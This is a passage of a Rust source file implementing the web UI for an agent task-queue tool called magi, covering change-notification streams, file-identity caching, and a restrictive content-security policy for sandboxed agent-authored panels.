Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
336    let mut stamps = try_stamps(ui.notices.root(), false, true)?;
337    let inquiries = ui.home.join("notifications").join("task-inquiries");
338    for (id, stamp) in try_stamps(&inquiries, false, false)? {
339        stamps.insert(format!("decision:{id}"), stamp);
340    }
341    Ok(stamps)
342}
343
344fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
345    let mut changed: Vec<_> = next
346        .iter()
347        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
348        .map(|(id, _)| id.clone())
349        .collect();
350    let mut removed: Vec<_> = previous
351        .keys()
352        .filter(|id| !next.contains_key(*id))
353        .cloned()
354        .collect();
355    changed.sort_unstable();
356    removed.sort_unstable();
357    Delta {
358        base,
359        changed,
360        removed,
361    }
362}
363
364/// Change detection token for recorded runs under `runs`.
365#[cfg(test)]
366fn runs_revision(runs: &FsPath) -> u64 {
367    stamps_revision(&store_stamps(runs, true))
368}
369
370/// Opaque tokens use the exact metadata snapshot behind the delta, in both
371/// health and SSE. Nanoseconds and length also detect same-millisecond writes
372/// and deleting an older conversation (a newest-mtime token cannot do that).
373fn stamps_revision(stamps: &Stamps) -> u64 {
374    use std::hash::{Hash as _, Hasher as _};
375    if stamps.is_empty() {
376        return 0;
377    }
378    let mut entries: Vec<_> = stamps.iter().collect();
379    entries.sort_unstable();
380    let mut hasher = std::hash::DefaultHasher::new();
381    entries.hash(&mut hasher);
382    hasher.finish().max(1)
383}
384
385#[derive(Clone, Debug)]
386pub(crate) struct ChangeNotification {
387    pub payload: serde_json::Value,
388}
389
390#[derive(Default, Debug)]
391pub(crate) struct QueueIndex {
392    // Retain parsed records only while their file identity is unchanged.
393    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
394    #[cfg(test)]
395    reparsed: usize,
396}
397
398#[derive(Clone, Debug)]
399struct TaskRelation {
400    id: String,
401    status: Option<crate::queue::TaskStatus>,
402    priority: i32,
403    runs: Vec<String>,
404    source: Source,
405    chat: Option<String>,
406}
407
408impl From<Task> for TaskRelation {
409    fn from(task: Task) -> Self {
410        Self {
411            id: task.id,
412            status: Some(task.status),
413            priority: task.priority,
414            runs: task.runs,
415            source: task.source,
416            chat: task.chat,
417        }
418    }
419}
420
421#[derive(Debug, PartialEq, Eq, Hash)]
422struct FileIdentity {
423    modified: std::time::SystemTime,
424    len: u64,
425    #[cfg(unix)]
426    identity: (u64, u64, i64, i64),
427}
428
429fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
430    let meta = path.metadata()?;
431    Ok(FileIdentity {
432        modified: meta.modified()?,
433        len: meta.len(),
434        #[cfg(unix)]
435        identity: {
436            use std::os::unix::fs::MetadataExt as _;
437            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
438        },
439    })
440}
441
442// Cache bounded goal headers using actual file identity and change time,
443// not just size and write time.
444#[derive(Debug, PartialEq, Eq)]
445struct GoalIdentity {
446    file: FileIdentity,
447    #[cfg(windows)]
448    windows: (u64, [u8; 16], i64),
449}
450
451fn goal_identity(path: &FsPath) -> std::io::Result<GoalIdentity> {
452    #[cfg(windows)]
453    fn windows_identity(path: &FsPath) -> std::io::Result<(u64, [u8; 16], i64)> {
454        use std::os::windows::io::AsRawHandle;
455        #[repr(C)]
456        struct FileId {
457            volume: u64,
458            id: [u8; 16],
459        }
460        #[repr(C)]
461        struct Basic {
462            created: i64,
463            accessed: i64,
464            written: i64,
465            changed: i64,
466            attributes: u32,
467        }
468        #[link(name = "kernel32")]
469        unsafe extern "system" {
470            fn GetFileInformationByHandleEx(
471                file: *mut std::ffi::c_void,
472                class: i32,
473                output: *mut std::ffi::c_void,
474                size: u32,
475            ) -> i32;
476        }
477        let file = std::fs::File::open(path)?;
478        let mut id = std::mem::MaybeUninit::<FileId>::uninit();
479        let mut basic = std::mem::MaybeUninit::<Basic>::uninit();
480        // Both buffers have the layout and size of the requested Win32 structures.
481        unsafe {
482            if GetFileInformationByHandleEx(
483                file.as_raw_handle(),
484                18,
485                id.as_mut_ptr().cast(),
486                std::mem::size_of::<FileId>() as u32,
487            ) == 0
488                || GetFileInformationByHandleEx(
489                    file.as_raw_handle(),
490                    0,
491                    basic.as_mut_ptr().cast(),
492                    std::mem::size_of::<Basic>() as u32,
493                ) == 0
494            {
495                return Err(std::io::Error::last_os_error());
496            }
497            let id = id.assume_init();
498            Ok((id.volume, id.id, basic.assume_init().changed))
499        }
500    }
501    Ok(GoalIdentity {
502        file: file_identity(path)?,
503        #[cfg(windows)]
504        windows: windows_identity(path)?,
505    })
506}
507
508type Revisions = (u64, u64, u64, u64, u64, u64);
509type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
510
511#[derive(Debug)]
512pub(crate) struct SharedMonitor {
513    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
514    pub latest: Arc<Mutex<MonitorSnapshot>>,
515    pub worker_started: std::sync::atomic::AtomicBool,
516    pub queue_index: Arc<Mutex<QueueIndex>>,
517    list_walks: Mutex<Vec<ListWalk>>,
518    disk: Arc<Mutex<DiskObservation>>,
519    health_index: Mutex<HealthIndex>,
520    disk_cache: Mutex<DiskCache>,
521    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
522    talk_status_index: Mutex<TalkStatusIndex>,
523    closed_goal_index: Mutex<HashMap<String, (GoalIdentity, bool)>>,
524    /// Conversation status evidence, rebuilt only when a source store moved.
525    chat_inventory: Mutex<Option<(Revisions, Arc<crate::chat_status::Inventory>)>>,
526    chat_sources_unreadable: std::sync::atomic::AtomicBool,
527    bulk_slots: Arc<tokio::sync::Semaphore>,
528    talk_core_slots: Arc<tokio::sync::Semaphore>,
529    #[cfg(test)]
530    talk_parses: std::sync::atomic::AtomicUsize,
531}
532
533/// Request-time indexes retain projections, never transcripts or whole runs.
534#[derive(Debug, Default)]
535struct HealthIndex {
536    runs: HashMap<String, (FileIdentity, bool)>,
537    questions: Option<QuestionCounts>,
538    notices: Option<(u64, usize)>,
539    #[cfg(test)]
540    run_parses: usize,
541}
542
543/// Membership classification retains no transcript data, including for closed
544/// history that has never been requested. Cache unreadable files too.
545#[derive(Debug, Default)]
546struct TalkStatusIndex {
547    records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
548    #[cfg(test)]
549    parses: usize,
550}
551
552/// Talk's serializer writes status before turns. Stop deserializing as soon as
553/// that header is available; do not validate or traverse the transcript here.
554/// Noncanonical headers are bounded too and conservatively included in the
555/// initial page, where the ordinary row reader validates their actual status.
556fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
557    use serde::de::{IgnoredAny, MapAccess, Visitor};
558
559    struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
560    impl<'de> Visitor<'de> for StatusHeader<'_> {
561        type Value = ();
562
563        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
564            f.write_str("a conversation header")
565        }
566
567        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
568            while let Some(key) = map.next_key::<String>()? {
569                match key.as_str() {
570                    "status" => {
571                        *self.0 = Some(map.next_value()?);
572                        return Err(serde::de::Error::custom("conversation header complete"));
573                    }
574                    "turns" => {
575                        *self.0 = Some(talk::TalkStatus::Open);
576                        return Err(serde::de::Error::custom("noncanonical conversation header"));
577                    }
578                    _ => {
579                        map.next_value::<IgnoredAny>()?;
580                    }
581                }
582            }
583            Ok(())
584        }
585    }
586
587    // At most one KiB of read-ahead for canonical files, and a fixed maximum
588    // even for an oversized header. Do not call Deserializer::end: the rest of
589    // the document deliberately belongs to the paged row reader.
590    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
591    let mut json = serde_json::Deserializer::from_reader(reader);
592    let mut status = None;
593    // The visitor deliberately signals completion with an error, avoiding the
594    // deserializer's normal closing-brace check on the unfinished object.
595    let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
596    status.or_else(|| match result {
597        Ok(()) => Some(talk::TalkStatus::Open),
598        Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
599        Err(_) => None,
600    })
601}
602
603fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
604    // Without inode/ctime, same-size writes can retain the same timestamp.
605    // Re-read the bounded header rather than reuse an unprovable classification.
606    open_talk_ids_with(ui, ids, cfg!(unix), |path| {
607        std::fs::File::open(path).ok().and_then(read_talk_status)
608    })
609}
610
611fn open_talk_ids_with(
612    ui: &Ui,
613    ids: &[String],
614    cache_identity: bool,
615    mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
616) -> std::collections::HashSet<String> {
617    let mut index = ui
618        .monitor
619        .talk_status_index
620        .lock()
621        .unwrap_or_else(PoisonError::into_inner);
622    let present: std::collections::HashSet<_> = ids.iter().collect();
623    index.records.retain(|id, _| present.contains(id));
624    let mut open = std::collections::HashSet::new();
625    for id in ids {
626        let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
627            index.records.remove(id);
628            continue;
629        };
630        let status = if cache_identity
631            && let Some((old, status)) = index.records.get(id)
632            && *old == identity
633        {
634            *status
635        } else {
636            let status = read_status(&ui.talks.path_of(id));
637            #[cfg(test)]
638            {
639                index.parses += 1;
640            }
641            if cache_identity
642                && file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity)
643            {
644                index.records.insert(id.clone(), (identity, status));
645            } else {
646                index.records.remove(id);
647            }
648            status
649        };
650        if status == Some(talk::TalkStatus::Open) {
651            open.insert(id.clone());
652        }
653    }
654    open
655}
656
657/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
658const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
659
660#[derive(Debug)]
661struct QuestionCounts {
662    revision: u64,
663    measured: std::time::Instant,
664    open: usize,
665    owner: usize,
666}
667
668#[derive(Debug, Clone)]
669struct DiskSizes {
670    runs: u64,
671    worktrees: u64,
672    cache: Option<u64>,
673}
674
675#[derive(Debug, Default)]
676struct DiskCache {
677    measured: Option<std::time::Instant>,
678    loading: bool,
679    config: Option<Config>,
680    disk: Option<DiskSizes>,
681    update: Option<UpdateView>,
682}
683
684/// Keep a failed store's last observation without suppressing healthy stores.
685fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
686    let (mut rev, mut stamps) = previous.unwrap_or_default();
687    let mut failed = 0u8;
688    for (index, root, runs) in [
689        (0, ui.queue.root(), false),
690        (1, ui.runs.as_path(), true),
691        (2, ui.talks.root(), false),
692    ] {
693        if let Ok(next) = try_store_stamps(root, runs) {
694            let value = stamps_revision(&next);
695            match index {
696                0 => rev.0 = value,
697                1 => rev.1 = value,
698                _ => rev.3 = value,
699            }
700            stamps[index] = next;
701        } else {
702            failed |= 1 << index;
703        }
704    }
705    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
706        rev.2 = stamps_revision(&next);
707    } else {
708        failed |= 1 << 3;
709    }
710    if let Ok(next) = notice_and_decision_stamps(ui) {
711        rev.4 = stamps_revision(&next);
712    } else {
713        failed |= 1 << 4;
714    }
715    rev.5 = ui.lock_loop().rev;
716    // Live worker ownership can change without any transcript write.
717    use std::hash::{Hash, Hasher};
718    let mut activity = std::collections::hash_map::DefaultHasher::new();
719    rev.3 = stamps_revision(&stamps[2]);
720    rev.3.hash(&mut activity);
721    let mut changed = failed != 0;
722    failed.hash(&mut activity);
723    match crate::worker::observe_active(&ui.home) {
724        Ok(jobs) => {
725            let mut ids: Vec<_> = jobs
726                .iter()
727                .map(|job| (&job.id, job.status == crate::worker::Status::Running))
728                .collect();
729            ids.sort_unstable();
730            changed |= !ids.is_empty();
731            ids.hash(&mut activity);
732        }
733        Err(_) => {
734            changed = true;
735            "unknown workers".hash(&mut activity);
736        }
737    }
738    if let Ok(mut ids) = crate::queue::record_ids(ui.talks.root(), "turn") {
739        ids.retain(|id| ui.talks.turn_held(id));
740        ids.sort_unstable();
741        changed |= !ids.is_empty();
742        ids.hash(&mut activity);
743    }
744    if changed {
745        rev.3 = activity.finish();
746    }
747    ui.monitor
748        .chat_sources_unreadable
749        .store(failed != 0, std::sync::atomic::Ordering::Release);
750    (rev, stamps)
751}
752
753impl SharedMonitor {
754    pub fn new() -> Self {
755        let (tx, _) = tokio::sync::broadcast::channel(64);
756        Self {
757            broadcaster: tx,
758            latest: Arc::default(),
759            worker_started: std::sync::atomic::AtomicBool::new(false),
760            queue_index: Arc::default(),
761            list_walks: Mutex::default(),
762            disk: Arc::default(),
763            health_index: Mutex::default(),
764            disk_cache: Mutex::default(),
765            talk_index: Mutex::default(),
766            talk_status_index: Mutex::default(),
767            closed_goal_index: Mutex::default(),
768            chat_inventory: Mutex::default(),
769            chat_sources_unreadable: std::sync::atomic::AtomicBool::new(false),
770            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
771            talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
772            #[cfg(test)]
773            talk_parses: std::sync::atomic::AtomicUsize::new(0),
774        }
775    }
776
777    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
778        let mut receiver = self.broadcaster.subscribe();
779        self.ensure_worker(ui);
780        loop {
781            if let Some((revisions, _)) = self
782                .latest
783                .lock()
784                .unwrap_or_else(PoisonError::into_inner)
785                .as_ref()
786            {
787                return Ok(*revisions);
788            }
789            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
790                .await
791                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
792                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
793        }
794    }
795
796    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
797        if self
798            .worker_started
799            .compare_exchange(
800                false,
801                true,
802                std::sync::atomic::Ordering::SeqCst,
803                std::sync::atomic::Ordering::SeqCst,
804            )
805            .is_err()
806        {
807            return;
808        }
809
810        let weak_ui = Arc::downgrade(ui);
811        tokio::spawn(async move {
812            let mut ticker = tokio::time::interval(POLL);
813            loop {
814                ticker.tick().await;
815                let Some(ui) = weak_ui.upgrade() else {
816                    break;
817                };
818
819                let previous = ui
820                    .monitor
821                    .latest
822                    .lock()
823                    .unwrap_or_else(PoisonError::into_inner)
824                    .clone();
825                let state = Arc::clone(&ui);
826                let scan =
827                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
828
829                // A slow filesystem must not turn missed ticks into a busy loop.
830                ticker.reset();
831                let Ok((revisions, next_stamps)) = scan else {
832                    continue;
833                };
834
835                let mut latest_guard = match ui.monitor.latest.lock() {
836                    Ok(g) => g,
837                    Err(p) => p.into_inner(),
838                };
839
840                let previous = latest_guard.take();
841                let (last_rev, prev_stamps) = match previous {
842                    Some((r, s)) => (Some(r), Some(s)),
843                    None => (None, None),
844                };
845
846                if last_rev == Some(revisions) {
847                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
848                    continue;
849                }
850
851                let mut payload = serde_json::json!({
852                    "queue_rev": revisions.0,
853                    "runs_rev": revisions.1,
854                    "questions_rev": revisions.2,
855                    "talks_rev": revisions.3,
856                    "notifications_rev": revisions.4,
857                    "loop_rev": revisions.5,
858                });
859
860                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
861                    for (index, (key, rev)) in [
862                        ("queue_delta", base.0),
863                        ("runs_delta", base.1),
864                        ("talks_delta", base.3),
865                    ]
866                    .into_iter()
867                    .enumerate()
868                    {
869                        // Talk revisions also contain live ownership evidence.
870                        // A transcript-only delta cannot describe that change.
871                        if index == 2
872                            && (base.3 != stamps_revision(&prev[index])
873                                || revisions.3 != stamps_revision(&next_stamps[index]))
874                        {
875                            continue;
876                        }
877                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
878                        if delta.changed.len() + delta.removed.len() > 0
879                            && delta.changed.len() <= 50
880                        {
881                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
882                        }
883                    }
884                }
885
886                *latest_guard = Some((revisions, next_stamps));
887                drop(latest_guard);
888
889                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
890            }
891        });
892    }
893}
894
895/// Everything the handlers touch.
896///
897/// The queue, the runs directory and the magi home are fields rather than
898/// process-global lookups so a test drives the real router against a temp
899/// directory instead of the operator's own history.
900#[derive(Debug, Clone)]
901pub struct Ui {
902    queue: Queue,
903    questions: Questions,
904    /// `<home>/notifications`, the bell's own store. Derived from `home` in
905    /// [`Ui::new`] so no constructor signature had to grow.
906    notices: Notices,
907    talks: Talks,
908    runs: PathBuf,
909    references: Arc<id_links::IndexCache>,
910    home: PathBuf,
911    repo: PathBuf,
912    /// Where the runs' worktrees live, for the health disk figures.
913    ///
914    /// Spelled independently of [`crate::run::default_worktree_root`] so the
915    /// test servers can point it at their own temp directory: the health route
916    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
917    /// be measuring the machine instead of the server.
918    worktrees_root: PathBuf,
919    /// Talks with an agent turn in flight right now.
920    ///
921    /// In-process and therefore not durable, which is correct: it guards
922    /// against two taps on one phone and two phones on one tailnet, both of
923    /// which are this process's own concurrency. A second `magi web` would not
924    /// see it, and a second `magi web` on the same home is already a
925    /// misconfiguration the queue's claims would catch first.
926    talk_turns: Arc<Mutex<TalkTurns>>,
927    /// Short persistence-to-worker-publication transactions only, never agent
928    /// execution. A handover closes admission before it releases the runtime.
929    admissions: Arc<tokio::sync::RwLock<bool>>,
930    /// Held by `POST /api/upgrade` from its busy-stage check until the first
931    /// progress record is written, so two taps cannot both start an upgrade.
932    /// After that `upgrade.json` carries the exclusion.
933    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
934    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
935    /// exclusion in memory for when `upgrade.json` could not be written.
936    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
937    /// Request failures before progress exists; never overwrite upgrade.json.
938    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
939    auto_failed_tag: Arc<Mutex<Option<String>>>,
